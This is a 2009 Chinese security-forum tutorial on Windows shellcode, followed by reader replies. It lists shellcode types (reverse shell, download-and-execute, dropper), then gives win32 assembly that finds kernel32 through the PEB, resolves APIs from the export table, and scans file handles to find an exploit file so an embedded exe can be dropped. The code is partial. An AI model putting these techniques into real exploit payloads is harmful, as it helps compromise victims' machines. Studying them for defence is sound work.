首页
社区
课程
招聘
[原创]windows下的shellcode剖析浅谈
发表于: 2009-10-6 11:12 37945

[原创]windows下的shellcode剖析浅谈

2009-10-6 11:12
37945
[/CODE]
	今天是中秋节,正好我的文章在今天基本完成,作为中秋礼物送给大家,由于本人水平有限希望大家多多批评指正!
学习了好些日子了,思路总是乱乱的,这几天决定养成个好习惯,把自己学习的一些东西做一些总结写篇文章,以便归纳和总结,并从中能够更深刻更系统化的理解其技术原理。	今天,就从shellcode来下手吧!
	说到shellcode可能都有些迷茫,不知它是什么东西,可能觉得也很神秘,对于它的专业解释也很少有人提及,今天我们就从以下几个方面来对windows下的shellcode做一个全剖析:
1.	shellcode的发展历史以及定义
2.	现今常见的windows下的shellcode种类
3.	动手编写一个简单的shellcode
4.	shellcode的存在形式以及编码方式
5.	exploit中的shellcode
好了,下面我们就逐一来弄清楚这些问题吧!
1.	shellcode的发展历史以及定义:
对于shellcode的发展历史,failewest兄的《0day安全:软件漏洞分析技术》一书中讲的很明白,这里就引用一小段:
“1996年,Aleph One在Underground发表了著名论文《SMASHING THE STACK FOR FUN AND PROFIT》,其中详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One演示了如何向进程中植入一段用于获得shell的代码,并在论文中称这段被植入进程的代码为’shellcode’。 

后来人们干脆统一用shellcode这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框,也可以是出于攻击目的的删改重要文件、窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等等。”

其实,现在shellcode的应用也很广泛,甚至有些远程控制软件也把自己能做成一个shellcode形式,我们只要理解这个是溢出之后干坏事的一段代码。(文章中提及的shellcode也全是跟溢出相关的shellcode)
2.	现今常见的windows下的shellcode种类
这里,我就直接从功能上来分类:
(1)	反弹端口类(shell)
这是一个真正的原始意义上的shellcode,不得不讲
(2)	下载并执行类(download&exec)
这个是最简单的一类shellcode,在网马中的应用也最广泛
(3)	生成并运行可执行文件类(bindfile)
为什么会有这么一类shellcode呢?试想想,制造漏洞的坏人如果把前面两类shellcode绑定到一个应用软件exploit里面就会出现一些意外情况:
a)	假如你的反弹行为被防火墙给拦截了怎么办?
b)	假如对方的防范意识比较高打开doc、pdf之类的文件的时候总是把网断了再打开怎么办?
哎~,早有坏人替我们想到了这些问题,他们把自己的exe也一并绑定到exploit中,shellcode的功能就是把exe释放出来,然后运行。(这个方法有点邪恶吧)
3.	动手编写一个简单的shellcode
好了,前面说了这么多废话,说一会也该练练了。
这里为了方便讲解,我就选择用win32汇编来写吧。(当然我对c更熟悉些)前面两类shellcode的例子很多,这里我就着重介绍下bindfile类shellcode的编写。
首先,让我们来理理思路,看图:
[ATTACH]32768[/ATTACH]
这个图是按shellcode的执行流程来画的,下面逐一来讲解。
其实shellcode就是一段自主的而且功能完善的代码,不过里面不能直接调用API函数,因为它不是运行在编译器环境下,没有include来声明函数,更没有应用程序的函数表,所以,shellcode得自己想办法找到自己调用的API函数的地址,然后强行调用了。
(1)	查找kernel32.dll基址:
shellcode里面用的API函数一般都是与用户界面无关的,因为它要干坏事,一般都是偷偷的,所以它一般用的都是kernel32.dll里面的函数。所以,我们必须先找到kernel32的基址才能进一步找到各API的地址具体地址。
关于获取api基址的方法很多,我这里就讲最简单的一种(这里面集合了众多高手的实践经验):
利用PEB查找kernel32基址:
[CODE]assume fs:nothing
	mov 	eax,fs:[30h]
	test	eax,eax
	js	os_9x
os_nt:	
	mov	eax,[eax+0ch]
	mov	esi,[eax+1ch]
	lodsd	
	mov 	eax,[eax+8]
	jmp	k_finished
os_9x:
	mov 	eax,[eax+34h]
	mov	eax,[eax+7ch]
	mov	eax,[eax+3ch]
k_finished:
	sub	esp,200
	mov	edi,esp
	mov	[edi+8],eax	;获取kernel32地址
FindApi:			;获取API函数地址子过程
	push	ebp
	push	edi
	mov	ebp,edi
	mov	ebx,esp
	add	ebx,8
	xor	edx,edx
	mov	eax,[ebp+8]
	add	eax,3ch		;指向PE头部偏移值e_lfanew
	mov	eax,[eax]	;取得e_lfanew值
	add	eax,[ebp+8]	;指向PE header
	cmp	dword ptr[eax],4550h	;判断是否为'PE'
	jne	NotFound	;kernel32基址错误
	mov	[ebp+0ch],eax	;保存PE文件头
	mov	eax,[eax+78h]
	add	eax,[ebp+8]
	mov	[ebp+0ch],eax	;指向IMAGE_EXPORT_DIRECTORY
	mov	eax,[eax+20h]
	add	eax,[ebp+8]
	mov	[ebp+4],eax	;保存函数名指针数组的指针值
	mov	ecx,[ebp+0ch]
	mov	ecx,[ecx+14h]
FindLoop:
	
	push	ecx
	mov	eax,[eax]
	add	eax,[ebp+8]
	mov	esi,ebx
	add	esi,8
	mov	edi,eax
	mov	ecx,[ebx+4]
	cld
	repe	cmpsb
	jne	FindNext
	add 	esp,4
	mov	eax,[ebp+0ch]
	mov	eax,[eax+1ch]
	add 	eax,[ebp+8]
	shl	edx,2
	add	eax,edx
	mov	eax,[eax]
	add	eax,[ebp+8]
	jmp	Found
FindNext:
	inc	edx
	add	dword ptr[ebp+4],4
	mov	eax,[ebp+4]
	pop	ecx
	loop	FindLoop
NotFound:
	xor 	eax,eax
Found:
	pop	edi
	pop	ebp
	ret	
	
	mov	dword ptr[edi+68h],1000h	;设置exe文件长度exelen
	xor	esi,esi
sHandle:
	inc	esi
	push	0
	push	esi
	call	dword ptr[edi+10h]
	cmp	eax,1536		;exploit文件大小
	jne	sHandle
	mov	[edi+3ch],eax
	mov	[edi+40h],esi		;根据文件大小群举有效句柄

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
  • 1.JPG (26.79kb,3029次下载)
  • 2.JPG (14.77kb,3008次下载)
收藏
免费 8
支持
分享
最新回复 (41)
雪    币: 291
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
好帖,强烈顶一下
2009-10-6 16:22
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
3
写shellcode是体力活,找出溢出点是脑力活。
感觉做shellcode是要把人榨干的。。。
2009-10-6 16:54
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
4
支持,今年黑帽大会上就有一篇《精通shellcode》的文章
2009-10-6 20:08
0
雪    币: 291
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
riusksk大侠有时间翻译一下。
2009-10-6 22:12
0
雪    币: 268
活跃值: (40)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
6
先顶后看.....
2009-10-9 08:44
0
雪    币: 61
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
细细品味,感觉不错
2009-10-9 19:32
0
雪    币: 2307
活跃值: (1013)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
8
好帖好文章,而且是汇编,我最爱了。
2009-10-9 19:46
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
9
能否指明,文章中 call [ebp+4] 之类的指令对应的API函数,及其在内存中函数地址的布局情况?
谢谢
2009-10-13 15:57
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
10
[QUOTE=仙果;699180]能否指明,文章中 call [ebp+4] 之类的指令对应的API函数,及其在内存中函数地址的布局情况?
谢谢[/QUOTE]

其实 只要动手写一下基本上就能明白,既然问了 我就贴一个调用例子吧,后面的自己可以根据功能把它补全了:
	push	'sse'
	push	'corP'
	push	'tixE'
	push 	11
	call	FindApi
	mov	[edi+38h],eax		;获取所需API函数地址
2009-10-13 16:12
0
雪    币: 204
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不错,,正需要这方面的资料,,
2009-10-15 22:36
0
雪    币: 109
活跃值: (498)
能力值: ( LV12,RANK:220 )
在线值:
发帖
回帖
粉丝
12
这篇文章写的很不错,列举了常见的shellcode的执行方式

支持
2009-10-16 11:27
0
雪    币: 226
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
写得很好,学习一下,谢谢!
2009-10-17 08:39
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
看不懂哎··
2009-10-19 20:50
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
顶一下,呵呵,学习了
2009-10-26 20:18
0
雪    币: 200
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
果然是高手的文章
看完只有一點點明白
2009-11-3 02:06
0
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
过来学习 很不错!
2009-11-3 09:15
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
支持楼主呵呵
2009-11-3 19:39
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
shellcode,现在MSF中包含的已经很多了
楼主说的还是挺明白的
其实自己动手写一些,调试一些,楼主说的基本上就明白了
2009-11-4 11:15
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
慢慢学习了!!
2009-11-4 16:06
0
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
一直错误的认为shellcode指所有获得的别人计算机的shell,今天重新认识了~
2009-11-4 18:22
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
看不懂呀!!!
2009-11-4 19:57
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
牛人啊,太牛了,分析得这么透彻!
2009-11-5 19:49
0
雪    币: 69
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
非常好。我来看看下
2009-11-7 17:39
0
雪    币: 198
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
看的迷迷糊糊,新手刚开始,默默学习
2009-11-10 15:05
0
游客
登录 | 注册 方可回帖
返回
//